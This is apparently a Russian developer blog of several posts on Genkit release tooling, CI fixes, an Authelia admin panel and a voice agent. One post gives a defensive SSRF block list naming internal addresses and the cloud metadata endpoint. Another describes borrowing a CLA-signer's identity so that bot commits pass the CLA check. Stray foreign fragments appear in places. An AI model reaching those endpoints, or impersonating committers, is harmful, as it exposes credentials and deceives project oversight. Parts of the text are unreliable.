Блог
Публикации о процессе разработки, решённых задачах и изученных технологиях
GitHub Actions: как булев сломал цель релиза
В проекте **ai-agents-genkit** случилось то, что ломает сердце DevOps-инженеров — релиз не произошёл, хотя кнопка была нажата. Виноват в этом не человеческий фактор, а коварная типизация в GitHub Actions. Всё началось с workflow'а `releasekit-uv.yml`. Там есть параметр `inputs.dry_run` — чекбокс для контроля над релизом. Идея простая: если галочка установлена, делаем проверку без реально опубликованного релиза; если нет — выпускаем официальный релиз с тегами и GitHub Release. Казалось бы, надёжная схема. Но в реальности при нажатии кнопки с `dry_run=false` всё равно выполнялась сухая прогонка. Теги создавались виртуально, GitHub Release никогда не появлялся, и разработчики сидели в недоумении. Диагноз стоял замечательный — **тихая ошибка типизации**. Проблема скрывалась в строке, где вычисляется переменная окружения `DRY_RUN`: ``` inputs.dry_run == 'false' ``` На поверхности выглядит безобидно, но здесь GitHub Actions совершает невидимый трюк. Параметр `inputs.dry_run` объявлен как **тип `boolean`** — настоящий логический тип. Когда разработчик снимает галочку, значение становится собственно булевым `false`. А в выражении сравнения это `false` встречается со строковым литералом `'false'` — символами, завёрнутыми в кавычки. В контексте GitHub Actions выражений `false == 'false'` возвращает `false` именно потому, что это разные типы: логическое значение не равно строке. Логика внутри условия берёт эту `false` и путём трёхместного оператора превращает её в строку `'true'`. Итог: `DRY_RUN` всегда получал значение `'true'`, независимо от того, что нажал пользователь. Исправление оказалось элегантным. Нужно было просто сравнивать булев с булевым: ``` inputs.dry_run && 'true' || 'false' ``` Теперь логика работает честно: если `inputs.dry_run` истина, берём `'true'`; если ложь, берём `'false'`. Типы совпадают, выражение вычисляется корректно. После патча в pull request #4737 жизненный цикл релиза заработал как надо. Версия v0.6.0 уже может быть выпущена с уверенностью, что галочка в интерфейсе workflow'а будет почтительно выполняться машиной. **Вывод:** Boolean-типы кажутся простыми, пока не встретишь их в YAML-выражениях GitHub Actions. Туда же относится любая система с собственным парсером логических значений — всегда проверяй, что тип на одной стороне сравнения совпадает с типом на другой. И помните, в мире Arch Linux говорят: **«это работает» — вот и вся ваша документация** 😄
Когда теги создаются, но не доходят: история молчаливого отказа git
Представь ситуацию: ты выпускаешь версию v0.6.0 Python пакета в проекте Genkit. Процесс отработал без ошибок, логи зелёные, все 68 тегов якобы созданы и запушены. Релиз опубликован. Но через час выясняется — на GitHub никаких тегов нет. Призрак, а не релиз. Именно это произошло с releasekit, инструментом для автоматизации выпусков. Три месяца никто не заметил, пока не стали разбираться, почему теги исчезают. ## Охота на невидимого врага Проблема крылась в `create_tags()` — функции, которая формирует названия тегов по шаблону из `releasekit.toml`: `{label}/{name}-v{version}`. Например, `py/genkit-v0.6.0`. Вот беда: функция принимала параметр `label` (значение `py`), но **забывала его передавать** в три вложенных вызова `format_tag()`. Результат — теги создавались с ведущей косой чертой: `/genkit-v0.6.0` вместо `py/genkit-v0.6.0`. Git видит такое имя и внутренне закатывает глаза — это не валидное имя для ref. Но ошибку не выкидывает. Теги создаются локально с неправильными названиями, команда push выполняется «успешно» (ну, она же отправила битые данные, технически успех), а на удалённый сервер они так и не попадают. Молчком. Без единого предупреждения. Кстати, интересная деталь: функция `delete_tags()` этот баг **не имела** — там `label` уже передавалась правильно. Так бывает. ## От исправления к защите Первое решение — очевидное. Добавить `label=label` во все три вызова `format_tag()`. Но это лишь пластырь. Вторая часть исправления — **валидация перед действием**. Новая функция `validate_tag_name()` проверяет теги против правил git для имён ref: нет ведущих и замыкающих слэшей, нет двойных точек, нет пробелов. И главное — перед тем как создавать хоть один тег, цикл валидации пробегает по **всем** планируемым именам. Если одно невалидно — весь процесс падает с информативной ошибкой. Fail-fast вместо тихого отказа. Третья проблема была скромнее, но реальна. При подготовке окружения в GitHub Actions команда `git checkout -- .` очищает только **отслеживаемые** файлы. Если `uv sync` создаёт неотслеживаемые (`.venv/`, `__pycache__/`), рабочая директория остаётся грязной. Решение — `git reset --hard && git clean -fd`. Полная очистка, как надо. ## Итог: 54 теста и спокойный сон Все изменения покрыты регрессионными тестами — 12 новых, итого 54 проходящих. Теги теперь создаются корректно, валидация срабатывает раньше, чем git начнёт молчать. И, знаешь, есть такое правило в Figma: если она работает — не трогай 😄
Genkit Python 0.6.0: чем занимается фреймворк, пока мы спим
Представьте: вы выпускаете новую версию фреймворка для AI-агентов, и в неё попадают обновления аж в **семь компонентов** одновременно. Это именно то, что произошло в Genkit Python v0.6.0 — релиз, который показывает, как устроена работа над сложным инструментом в экосистеме Google. ## Что делалось в это время Начнём с фактов. В этом релизе обновились: - **genkit-tools-model-config-test** — инструмент для тестирования конфигов моделей - **genkit-plugin-fastapi** — интеграция с FastAPI (новая, поэтому версия 0.2.0) - **web-fastapi-bugbot** — демо-приложение на FastAPI - **provider-vertex-ai-model-garden** и другие провайдеры Но это не просто версионирование. За номерами скрываются *реальные проблемы*, которые команда решала неделями. ## Какие боли пришлось лечить Elisa Shen переехала тесты для model-config между модулями — звучит просто, но это значит, что архитектура тестов не совпадала с архитектурой приложения. Yesudeep Mangalapilly, похоже, провёл несколько ночей на **CI license checks** — когда система непрерывной интеграции упорно отказывается принимать код из-за лицензионных метаданных. Особенно интересно: в **web-fastapi-bugbot** обнаружилась проблема с **structlog config** — логирование почему-то перезаписывалось, и это ломало вывод. Вроде бы мелочь, но попробуйте дебажить асинхронный код без логов. А ещё оказалось, что при работе с DeepSeek JSON кодировался дважды — классическая ошибка, когда разработчик забыл, что данные уже сериализованы. ## Реальная архитектура, видимая через коммиты То, что я видел в истории коммитов — это не просто хаотичное исправление багов. Это **планомерная работа по стабилизации**: 1. Сначала добавили новый провайдер Cohere (нужен был в примерах) 2. Потом выпрямили schema handling в Gemini — там были проблемы с nullable типами в JSON Schema 3. Параллельно мигрировали на `gemini-embedding-001` (видимо, старая модель уже не работала так хорошо) 4. На конец добавили новый пример с REST + gRPC endpoints — так больше разработчиков смогут начать работу Команда думала не только о текущем функционале, но и о том, как новичок будет разбираться в коде. ## Потерянные в миграции Интересный момент: если присмотреться, некоторые коммиты дублируются в списке. Это намёк на то, что код переживал рефакторинг — что-то переехало между модулями, что-то было переписано. Такое бывает при *конфликте зависимостей* — когда один модуль нужен другому, и оба хотят измениться одновременно. ## Что дальше v0.6.0 — это не просто релиз. Это **стабилизация** перед большим толчком. Команда позаботилась о том, чтобы разработчики могли спокойно использовать FastAPI, работать с разными провайдерами (Cohere, Vertex AI, Google Gemini) и не падать на типичных граблях. А знаете, что самое забавное? Ubuntu — единственная технология, где «это работает» считается документацией. 😄
Одновременно 12 пакетов Genkit: как releasekit спас нас от ручной координации
Знаете ощущение, когда нужно выпустить обновление для целой экосистемы пакетов? Вчера я столкнулся с этим вызовом на проекте **Genkit** — это фреймворк для работы с AI-агентами. У нас было 12 пакетов, которые нуждались в новом релизе одновременно. Раньше такое означало бы ручной марафон: проверить зависимости каждого плагина, вручную бампить версии, убедиться, что ничего не сломалось. Кошмар координации. Но на этот раз у нас был **releasekit** — инструмент, который автоматизирует весь процесс выпуска. ## Разбор по полочкам Я запустил простую команду: ``` py/bin/releasekit plan --bumped --publishable ``` И вот что произошло. Releasekit проанализировал все коммиты, обнаружил, что у основного пакета **genkit** было 11 связанных изменений: - **genkit-plugin-anthropic** — 0.5.0 → 0.6.0 - **genkit-plugin-compat-oai** — 0.5.0 → 0.6.0 - **genkit-plugin-evaluators** — 0.5.0 → 0.6.0 - **genkit-plugin-fastapi** — 0.5.0 → 0.6.0 И ещё 8 плагинов для Google Cloud, Google Genai, Ollama, XAI, DeepSeek, Flask и Vertex AI. ## Почему это работает? Releasekit сканирует конвенциональные коммиты (conventional commits) в истории Git и определяет, нужно ли бампить версию. Минорное обновление 0.5.0 → 0.6.0 означает, что добавилась функциональность или были исправлены баги, но не сломалась обратная совместимость. Интересный момент: система обнаружила один нестандартный коммит — `'elisa/fix/core framework improvements (#4649)'` — и выдала предупреждение. Сообщение было в формате ветки, а не в формате `fix: ...`. Но это не остановило процесс — просто залогировалось как warning. ## Основные исправления в этом релизе Среди всех этих 12 пакетов было несколько критических фиксов: - Исправление пути для логирования в ядре (Path fix for logging) - Замена literalного нуль-байта на Git-экранирование `%x00` в changelog — вещь техническая, но важная для совместимости - Улучшения в Firebase telemetry и рефакторинг реализации - Асинхронное создание клиента с обновлением credentials в фоне для **genkit-plugin-vertex-ai** ## IT факт в завершение А вы знали, почему DynamoDB не пришёл на вечеринку? Его заблокировал firewall. 😄 Шутки шутками, но система контроля версий и автоматизации релизов — это реально спасение для монорепозиториев с десятком зависимостей. Вместо того чтобы спать-не-спать и боязно кликать по кнопке publish, я просто дал команду и пошёл пить кофе. Releasekit сделал всю грязную работу: вычислил версии, составил changelog, все 12 пакетов готовы к публикации. Вот это я понимаю под словом *DX* (Developer Experience).
ReleaseKit: граф совместимости лицензий вместо головной боли
В **ai-agents-genkit** вдруг обнаружилась проблема, которую я раньше даже не замечал. Проект использует кучу зависимостей с разными лицензиями: MIT, Apache-2.0, GPL, BSD. Но беда в том, что не все они дружат друг с другом. GPL тащит за собой требования, которые конфликтуют с proprietary кодом. Apache может стать несовместима с AGPL. Вручную проверять каждую — это путь в ад. Вот я и собрал для **ReleaseKit** полноценную систему проверки лицензийной совместимости. Звучит скучно? Погоди. ## Как это работает Начал с парсера SPDX-выражений. Да, существуют лицензии, записанные как `(MIT AND Apache-2.0) OR GPL-3.0 WITH Classpath-exception-1.0`. Стандартная строка из жизни. Парсер строит AST, понимает операторы `AND`, `OR`, `WITH`, может вычислить результат. Потом идёт граф — 167 лицензий, 42 правила совместимости. Каждый пакет в дереве зависимостей получает статус: **OK**, **WARNING** (несовместимость), **ERROR** (блокирующая). Система умеет парсить `uv.lock`, `package-lock.json`, `Cargo.lock` — охватывает Python, JavaScript, Rust, Go, Dart, Java и даже Clojure. А дальше — интерактивное исправление. Флаг `--fix` запускает диалог: видишь конфликт — выбираешь действие: *exemption* (исключение), *allow* (разрешить), *deny* (запретить), *override* (переопределить). Конфиг пишется в `releasekit.toml` с сохранением комментариев (спасибо, `tomlkit`). ## Тестирование как искусство Покрыл ~800 тестов на все случаи жизни: парсер SPDX (100+ кейсов с edge cases), граф совместимости (150+ комбинаций), обнаружение лицензий в манифестах семи экосистем (80+ проверок), фаззер для SPDX-резолвера (5 стадий: точное совпадение → алиасы → нормализация → префикс → Левенштейн). Даже есть скрипт `verify_license_data.py` — проверяет, что кросс-ссылки в `licenses.toml` и `license_compatibility.toml` не сломаны. ## Почему это серьёзно Лицензийная совместимость — не баг, не фича, это *compliance*. Один пропущенный конфликт = проблемы на prod. Раньше я пытался делать это руками, экселем, документом. Теперь система автоматическая, проверяемая, интерактивная. Документация новая — гайд для интерактивного исправления, слайды с демо-сессией в терминале, полная архитектура. ## Забавный факт Pandas: решение проблемы, о существовании которой ты не знал, способом, который не понимаешь. 😄
Как мы научили CI передавать право подписи релизам
Работаю в **Genkit** — это Python-библиотека для генеративного ИИ. Недавно столкнулись с задачей, которая на первый взгляд казалась простой: автоматизировать выпуск версий. Но под капотом скрывалась целая история про доверие, аутентификацию и то, как машина доказывает GitHub, что она имеет право что-то коммитить. ## Проблема: три способа подписать себя При каждом автоматическом релизе нужно создать коммит с тегами, но **GitHub не доверяет просто так**. Проверяет CLA (Contributor License Agreement) — то есть нужен реальный аккаунт, подписавший соглашение. Мы выбрали три дорожки: **GitHub App** (премиум) — приложение Genkit, созданное в самом GitHub. Оно вызывает API, API возвращает специальный ID юзера, и коммиты становятся от лица бота-приложения. CLA проходит, CI запускается. **Personal Access Token (PAT)** — обычный токен для конкретного аккаунта разработчика. Уже знаком каждому, кто работал с GitHub CLI. Так же проходит CLA и запускает CI. **GITHUB_TOKEN** (есть по умолчанию) — встроенный токен, даёт доступ каждому Action. Главный трюк: даже с ним можно подделать идентичность, если в переменных репо хранить имя и email человека, который подписал CLA. ## Как это устроено Все восемь рабочих потоков в Genkit теперь получили `auth` job на первом этапе. Он проверяет, что настроено (App? PAT? или только GITHUB_TOKEN?), и резолвит идентичность: - **App**: ищет юзер-ID через `gh api`, делает коммит от `genkit-bot` - **PAT**: берёт `RELEASEKIT_GIT_USER_NAME` и `RELEASEKIT_GIT_USER_EMAIL` из переменных репо - **GITHUB_TOKEN**: то же самое, плюс fallback на `github-actions[bot]` Главное: если ты находишься в ситуации, когда App и PAT недоступны, но у тебя есть CLA-подписанный аккаунт — просто добавь две переменные в настройки репо, и даже встроенный токен пройдёт проверку CLA. ## Бонус: bootstrap_tags.py Отдельно создали скрипт, который читает конфиг `releasekit.toml`, находит все пакеты в `library_dirs`, и создаёт теги для каждого пакета отдельно. Не hardcode'ит пути типа `['packages', 'plugins']`, а читает их из конфига. В итоге — 24 тега за раз, и все они указывают на правильный коммит. ## На практике Теперь разработчик может зайти на страницу переменных GitHub репо, добавить два поля (имя и почту) — и релизы будут проходить CLA, даже без App или PAT. Это снижает барьер входа для новых контрибьюторов. Мой код работает, и я знаю почему. Мой код не работает, и я уже добавил логирование. 😄
Когда маршрутизация экспертов встречает стену батч-нормализации
Работал над проектом `llm-analysis` — попытка воплотить мечту о смеси экспертов (MoE) для классификации на CIFAR-100. На бумаге звучит идеально: несколько специализированных нейросетей, умный роутер распределяет примеры, каждый эксперт углубляется в свою область. Теория говорит, что на специализированных данных эксперт должен дать +40 процентных пункта над базовым подходом. На практике упёрся в две стены одновременно. ## Batch Norm предательство Началось с фазы 12b — горячей замены экспертов (hot-plug test). Замораживаю веса эксперта, обучаю новый, включаю замороженный обратно. Точность первого эксперта падала на 2.48pp. Думал, это неизбежный дрейф при переобучении остальных. Копался в коде часами. Потом понял: `requires_grad=False` не спасает. BatchNorm слои вычисляют running statistics (среднее и дисперсию) даже с frozen весами. Когда обучаю эксперт E1, BatchNorm в backbone'е (E0) видит новые батчи, обновляет свои внутренние счётчики и ломает инференс замороженного эксперта. Решение простое, как кувалда: добавить `model.stem.eval()` после `model.train()`, явно перевести backbone в режим инференса. Дрейф упал с 2.48pp до **0.00pp**. Это был просто инженерный баг, но на него потратил полдня. ## Роутер, который не может научиться Фаза 13a обещала быть волшебной: построю более глубокий роутер, обучу его совместно с экспертами, роутер нужен для анализа — всё сойдётся. Oracle (идеальный роутер) показывал потолок в 80.78%, а наш простой `nn.Linear(128, 4)` давал 72.93%. Зазор в семь с половиной пункта! Запустил три стратегии: - **A**: глубокий роутер + отдельное обучение экспертов → 73.32% (нет улучшения) - **B**: совместное обучение роутера и экспертов → 73.10% (хуже baseline) - **C**: вообще неудача, routing accuracy 62.5% и не растёт Вдруг понимаю: **специализация и совместное обучение на CIFAR-100 несовместимы**. Каждый экспертный поток получает данные всех 100 классов, градиенты идут со всех направлений, и доменная специфика стирается. Роутер не может выучить отделение — потому что эксперты сами не специализируются. ## Факт из реальности Вот забавное совпадение: идеальный день программиста — ни одного тикета в Jira. Реальный день — 15 тикетов, три митинга, ноль коммитов 😄 Но в нашей ситуации это метафора посерьёзнее. Я запустил четыре параллельных эксперимента, пытаясь одновременно решить две задачи (hot-plug + маршрутизация). Батч-норм проблема — это мой тикет, который решился за пятнадцать минут кода. Маршрутизация — это архитектурный блокер, который требует другого подхода. ## Вывод **Фаза 12b победила**: BatchNorm теперь в eval mode, hot-plug стабилен, друсть экспертов валидирован. Но **фаза 13a показала** — нельзя требовать специализацию, если эксперты видят одинаковые данные. Дальше либо пересмотр архитектуры (правильные домены для каждого эксперта), либо смирение с тем, что роутер так и не научится лучше случайного. На CIFAR-100 это не работает — надо идти на другой датасет с явной структурой доменов.
Как git push --force-with-lease спасает CI от зацикливания на release-ветках
Работаем над **genkit** — платформой для AI-агентов от Google. В проекте есть автоматическая система выпуска релизов, которая живёт в `releasekit-uv.yml` и должна была работать как часы. Но в какой-то момент CI начал падать с ошибкой non-fast-forward при попытке создать PR для релиза. ## Проблема: ветка, которая не отпускает Корень зла оказался простым, но коварным. Функция `prepare_release()` каждый раз **пересоздаёт release-ветку с нуля**, используя `git checkout -B`. Это нормально, если ветка только локальная. Но когда она уже существует на удалённом репозитории (остаток от прошлого запуска CI), `git push` отказывается её обновлять — это же non-fast-forward изменение, потенциально опасное. Ситуация усугублялась тем, что CI часто запускается повторно: разработчик запустил релиз, что-то пошло не так, и он попытался снова. На втором прогоне `releasekit` уже видит старую ветку на origin и падает. ## Решение: force с умом Мы добавили параметр `force: bool = False` в протокол `VCS` — это общий интерфейс, который поддерживают и Git, и Mercurial. В реализации для Git выбрали **`--force-with-lease`** вместо обычного `--force`. Почему именно `--force-with-lease`? Потому что это безопаснее. Обычный `--force` перезапишет любую историю на удалённом сервере, даже если её там уже изменили руки коллеги. `--force-with-lease` проверит: "Удалённая ветка ещё в том состоянии, которое я последний раз видел?" Если нет — откажет. Это защита от случайного стирания чужой работы. В `prepare.py` теперь вызываем: ``` vcs.push(force=True) ``` И выполненных тестов говорят, что всё работает: `ruff check`, `py type check`, `pyrefly check` — все зелёные. ## Заодно навели чистоту Улучшили обработку ошибок в `cli.py` — теперь `_cmd_prepare` ловит `RuntimeError` и логирует событие `prepare_error` вместо полного traceback'а. А в GitHub Actions улучшили читаемость: если что-то сломалось, выводим последние 50 строк логов вне группы `::group::`, чтобы видно было сразу, без разворачивания. Бонус: переписали скрипт `setup.sh` — заменили медленный O(M×N) цикл с grep'ом на быструю O(M+N) ассоциативную таблицу для проверки уже загруженных моделей Ollama. Мелочь, но помогает ускорить инициализацию. ## Вывод Иногда самые коварные баги скрывают простые решения: просто нужно знать нужный флаг Git и немного поработать над безопасностью. Теперь release-ветки пересоздаются без конфликтов, CI стабилен, и разработчики могут перезапускать подготовку релизов столько раз, сколько нужно. --- *Что общего у Selenium и подростка? Оба непредсказуемы и требуют постоянного внимания.* 😄
Как я обновил архитектуру голосового агента за один вечер
Работаю над проектом `ai-agents-voice-agent` — это голосовой ассистент, построенный на Claude API с поддержкой десктопной автоматизации. Недавно добавили новый модуль CUA (Computer Use Agent) на базе UI-TARS VLM, и документация отстала от реальности на несколько итераций. Проблема классическая: разработчики добавляют функции, коммитят в main, но документация остаётся в статусе «to-do». Я открыл `docs/architecture/` и понял — там старая структура, нет упоминания о CUA, а в `CAPABILITY_ARCHITECTURE.md` описана трёхуровневая архитектура, хотя фактически их уже четыре. Решил обновить все критические файлы параллельно: **Переделал `overview.md`** — добавил CUA в проекцию модулей, обновил граф зависимостей, расширил tech stack упоминанием UI-TARS. Теперь новый разработчик сразу видит, что есть desktop automation. **Переписал `CAPABILITY_ARCHITECTURE.md`** — это был ключевой файл. Сменил 3-уровневую иерархию на 4-уровневую: веб-инструменты → десктоп-инструменты → встроенные модули → локальные пакеты. К четвёртому уровню добавил примеры (`requests`, `pillow`) и decision tree для выбора между слоями. **Обновил документацию TMA** (`tma/00-ARCHITECTURE.md`) — убрал все пометки "(NEW)" (они потеряли смысл), переименовал секцию "Новые файлы" в "Файлы модуля" для фактичности. **Актуализировал `06-NEW-INTERFACES.md`** — это было больно. Там была информация о Tesseract OCR, которая вообще не использовалась. Заменил на CUA с описанием UI-TARS, добавил три забытых десктоп-инструмента (`desktop_drag`, `desktop_scroll`, `desktop_wait`). Фаза 3 теперь содержит 21 инструмент вместо старых 12. **Закрыл все задачи Фазы 3** в `02-TASK-LIST.md` — просто поставил галочки рядом с пунктами 3.1–3.9. Формально это не мой долг, но документация о незавершённых делах раздражает. Вся работа заняла около часа благодаря параллельному обновлению файлов. Главное — не оставлять документацию как груз, который весит на совести. Она либо актуальна, либо токсична. --- *Кстати, есть такая шутка в мире DevOps: Apache — единственная технология, где «это работает» считается полноценной документацией.* 😄
Как мы починили админку Authelia: от отключённого пользователя до полного управления
Проект **borisovai-admin** требовал встроить админку для управления пользователями Authelia. Казалось просто — добавить UI, CRUD-операции, синхронизировать с Mailu. На деле же мы погрузились в лабиринт из неправильных настроек, зависаний Flask CLI и ошибок 500. ## Ошибка 500: сюрприз в базе Первый звоночек был при попытке сохранить настройки. Internal Server Error, без логов. Начали копаться — оказалось, пользователь `***@***.***` в Mailu был отключён (`enabled: false`). Authelia не может авторизовать disabled аккаунт через proxy auth, вот и падает всё. Решение нашлось в SQLite — прямое обновление записи в базе вместо зависающего Flask CLI. ## Middleware и кольцевые редиректы Затем столкнулись с невероятной проблемой: некоторые пути отказывались открываться, даже `/webmail/` со своей Mailu session cookie показывал Roundcube. Оказалось, Authelia middleware наложилась на роутеры, где её быть не должно. Пришлось аккуратно расставить middleware — auth-слои идут первыми, потом headers, потом routing. Порядок в Traefik критичен: неправильная очередность = loop редиректов. ## SMTP: огонь в контейнерах Потом добавили уведомления. Authelia потребовал SMTP для отправки писем. Локальный 25-й порт постфикса не работал — Mailu front внутри Docker сети ожидает внешних TLS-соединений. Решали двухступенчатой авторизацией через Traefik: ForwardAuth endpoint → проверка кредов → подключение к Mailu SMTP через Docker сеть на порт 25 без TLS внутри контейнеров. Ключевой момент: `disable_startup_check: true` должен быть на уровне `notifier`, а не `notifier.smtp` — иначе получаешь crash loop при старте. ## Синхронизация с Mailu В CRUD-операциях пришлось разделить email на username и домен, чтобы корректно создавать почтовые ящики в Mailu. При создании пользователя теперь синхронно создаём mailbox, при удалении — удаляем. GET endpoint теперь возвращает mailbox info, вся информация в одном месте. ## Проксирование через RU VPS Последний штрих — обслуживание из России потребовало nginx reverse proxy на VPS в Москве, который пробрасывает трафик на основной сервер в Германии (Contabo). Nginx + certbot — стандартная связка, но с Authelia она требует осторожности: нужно прокидывать заголовки авторизации, не переписывать их. ## Факт о технологиях Интересная деталь: как и .NET с котом, Authelia при неправильной настройке делает только то, что хочет, и игнорирует инструкции 😄 **Итог:** админка Authelia теперь полностью функциональна — управляем пользователями, синхронизируем с Mailu, отправляем уведомления, работаем через российский proxy. Сто ошибок — сто уроков о том, как устроены auth-слои, контейнерные сети и Traefik.
Собрали агента с руками: как мы добавили управление рабочим столом
Проект **voice-agent** развивается, и пришла пора дать ему не только уши и язык, но и руки. Три недели назад начал работать над тем, чтобы AI мог управлять графическим интерфейсом: кликать по окнам, вводить текст, перемещать мышь. Как оказалось, это совсем не простая задача. Начинал я с классического подхода — добавить инструменты через `BaseTool` и `ToolRegistry`. Для **GUI-автоматизации** выбрал **pyautogui** (простой, кроссплатформенный), для скриншотов — **PIL**. Создал восемь инструментов: клик, печать текста, горячие клавиши, перемещение мыши, управление окнами. Казалось, готово. На самом деле это была половина работы. Настоящая сложность началась с **OCR** — распознавания текста на экране. Инструмент `screenshot` возвращал картинку, но агенту нужно было понимать, что там написано. Первая попытка с `pytesseract` провалилась на текстах с кириллицей и сложной разметкой. Переписал логику: теперь скриншот обрабатывается асинхронно, результаты кэшируются, и язык можно переключать через конфиг. **CUASettings** в `config/settings.py` теперь управляет всеми параметрами компьютерного зрения. Но вот парадокс: даже с OCR агент не мог самостоятельно планировать действия. Просто список инструментов — это не достаточно. Нужна была **архитектура агента-помощника**, который видит скриншот, понимает, где он находится, и решает, что делать дальше. Назвал её **CUA** (Computer Use Agent). Ядро — это цикл: сделай скриншот → отправь в Vision LLM → получи план действий → выполни → повтори. Здесь выскочила проблема синхронизации: пока один агент кликает мышью, второй не должен пытаться печатать текст. Добавил `asyncio.Lock()` в исполнитель (**CUAExecutor**). И ещё одна дыра в безопасности: агент может зависнуть в бесконечном цикле. Решение простое — `asyncio.Event` для экстренной остановки плюс кнопка в system tray. Все модули написал в пять этапов, создав 17 новых инструментов и 140+ тестов. **Phase 0** — фундамент (**DesktopDragTool**, **DesktopScrollTool**, новые параметры конфига). **Phase 1** — логика действий (парсер команд, валидация координат). **Phase 2** — тесты (моки для **Playwright**, проверка расписаний). **Phase 3** — интеграция в **desktop_main.py**. **Phase 4** — финальная полировка. Самый красивый момент — когда первый раз запустил агента, и он сам нашёл окно браузера, прочитал текст на экране и кликнул ровно туда, куда нужно было. Наконец-то не только слышит и говорит, но и видит. Забавный факт: знакомство с **Cassandra** для хранения логов автоматизации — день первый восторг, день тридцатый «зачем я это вообще начал?» 😄
Когда техдолг кусает в спину: как мы очистили 2600 строк мёртвого кода
Проект **trend-analysis** вырос из стартапа в полноценный инструмент анализа трендов. Но с ростом пришла и проблема — код начал напоминать старый чердак, где каждый разработчик оставлял свои артефакты, не убирая за собой. Мы столкнулись с классической ситуацией: **git** показывает нам красивую историю коммитов, но реальность была печальнее. В коде жили дублирующиеся адаптеры — `tech.py`, `academic.py`, `marketplace.py` — целых 1013 строк, которые делали ровно то же самое, что их потомки в отдельных файлах (`hacker_news.py`, `github.py`, `arxiv.py`). Вот уже месяц разработчики путались, какой адаптер на самом деле использует **API**, а какой просто валяется без дела. Начали расследование. Нашли `api/services/data_mapping.py` — 270 строк кода, которые никто не импортировал уже полгода. Потом обнаружили целые рабочие процессы (`workflow.py`, `full_workflow.py`) — 121 строка, к которым никто не обращался. На фронтенде ситуация была похожей: компоненты `signal-table`, `impact-zone-card`, `empty-state` (409 строк) спокойно сидели в проекте, как будто их кто-то забыл удалить после рефакторинга. Но это был只 верхушка айсберга. Самое интересное — **ghost queries**. В базе была функция `_get_trend_sources_from_db()`, которая запрашивала таблицу `trend_sources`. Только вот эта таблица никогда не была создана (`CREATE TABLE` в миграциях отсутствовал). Функция мирно работала, возвращала пустой результат, и никто не замечал. Чистый пример того, как техдолг становится невидимым врагом. Мы начали с **DRY-принципа** на фронтенде — извлекли константы (`SOURCE_LABELS`, `CATEGORY_DOT_COLOR` и др.) в единый файл `lib/constants.ts`. Потом привели в порядок бэкенд: исправили `credits_store.py`, заменив прямой вызов `sqlite3.connect()` на правильный `db.connection.get_conn()` — это была потенциальная уязвимость в управлении подключениями. Очистили `requirements.txt` и `.env.example` — закомментировали неиспользуемые пакеты (`exa-py`, `pyvis`, `hypothesis`) и удалили мёртвые переменные окружения (`DATABASE_URL`, `LANGSMITH_*`, `EMBEDDING_*`). Исправили даже шаблоны тестов: эндпоинт `/trends/job-t/report` переименовали в `/analyses/job-t/report` для консистентности. Итого: 2600+ строк удалено, архитектура очищена, сразу стало проще ориентироваться в коде. Техдолг не исчезнет полностью — это часть разработки, — но его нужно время от времени погашать, чтобы проект оставался живым. А знаете, почему **Angular** лучший друг разработчика? 😄 Потому что без него ничего не работает. С ним тоже, но хотя бы есть кого винить.
Как мы защитили голосового агента от интернета
Когда начинаешь интегрировать **Claude API** в реальное приложение, быстро понимаешь: давать агенту доступ к интернету — это как выдать ключи от офиса незнакомцу. Надо знать, куда он пойдёт. На проекте **ai-agents-voice-agent** мы завершили **Phase 1** интеграции внешних систем. Это 21 новый инструмент для работы с HTTP, email, GitHub, Slack и Discord. Звучит просто, но за каждым — целый набор ловушек безопасности. ## Что мы делали Первая задача была по HTTP-клиенту. Казалось бы, `http_request` и `http_get` — банальная функциональность. Но вот проблема: если агент может делать запросы в интернет, он также может стучаться в локальные сервисы — `localhost:5432` (база данных), `10.0.0.5` (внутренний API), `169.254.169.254` (AWS metadata). Это **SSRF-атака** (Server-Side Request Forgery), классический вектор взлома облачных систем. Решение оказалось строгим: мы добавили чёрный список внутренних IP-адресов. HTTP-инструменты теперь блокируют запросы на `localhost`, `127.0.0.1`, на весь диапазон `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`. И добавили лимит: максимум 30 запросов в минуту на один инструмент. ## Интеграция с почтой и мессенджерами Дальше стало интереснее. Email-инструменты (`email_send`, `email_reply`) требуют аутентификации — пароли, токены. GitHub, Slack, Discord — то же самое. Нельзя просто так класть credentials в код. Мы сделали **conditional imports** — если нет библиотеки `aiosmtplib`, инструмент email просто не загружается. А в `config/settings.py` добавили флаги вроде `settings.email.enabled`. По умолчанию всё отключено. Клиент явно выбирает, что включить в production. Для каждого инструмента мы добавили проверку токена. GitHub API без токена? Ошибка с подсказкой. Slack без webhook? Тоже ясный отказ. Нет угадывания, нет молчаливых падений. ## Тестирование и итоги Написали 32 новых теста. Проверили схемы запросов (schema validation), механику одобрения (approval gates), гейтирование по флагам (feature flags), обработку ошибок. Все 668 тестов в проекте проходят, 0 ошибок линтера. На практике это означает: агент может работать с GitHub (создавать issues, комментировать), отправлять в Slack/Discord, но только если явно разрешено. И никогда не стучится в `localhost:6379` или на мой личный сервер. Звучит как управление доступом для человека? Потому что так и есть. AI-агент получает ровно то, что нужно, и ничего больше. **Кстати**, есть старая шутка про npm: *«это как первая любовь — никогда не забудешь, но возвращаться точно не стоит»*. 😄 В безопасности всё наоборот: лучше чуть более параноидальный подход, чем потом искать дыру, через которую агент читал чужие письма.
От chaos к structure: как мы спасли voice-agent от собственной сложности
Я работал над `ai-agents` — проектом с автономным voice-agent'ом, который обрабатывает запросы через Claude CLI. К моменту начала рефакторинга код выглядел как русский матрёшка: слой за слоем глобальных переменных, перекрёстных зависимостей и обработчиков, которые боялись трогать соседей. **Проблема была классическая.** Handlers.py распух до 3407 строк. Middleware не имела представления о dependency injection. Orchestrator (главный дирижёр) тянул за собой кучу импортов из telegram-модулей. А когда я искал проблему с `generated_capabilities` sync, понял: пора менять архитектуру, иначе каждое изменение превратится в минное поле. Я начал с диагностики. Запустил тесты — прошло 15 случаев, где старые handlers ломались из-за отсутствующих re-export'ов. Это было сигналом: **нужна система, которая явно говорит о зависимостях**. Решил перейти на `HandlerDeps` — dataclass, который явно описывает, что нужно каждому обработчику. Вместо `global session_manager` — параметр в конструкторе. Параллельно обнаружил утечку памяти в `RateLimitMiddleware`. Стейт пользователей накапливался без очистки. Добавил периодическую очистку старых записей — простой, но효과적한паттерн. Заодно переписал `subprocess.run()` на `asyncio.create_subprocess_exec()` в compaction.py — блокирующий вызов в асинк-коде это как использовать молоток в операционной. Потом сделал вещь, которая кажется малой, но спасает множество часов отладки. Создал **Failover Error System** — типизированную классификацию ошибок с retry-логикой на exponential backoff. Теперь когда Claude CLI недоступен, система не паникует, а пытается перезагрузиться, а если совсем плохо — падает с понятной 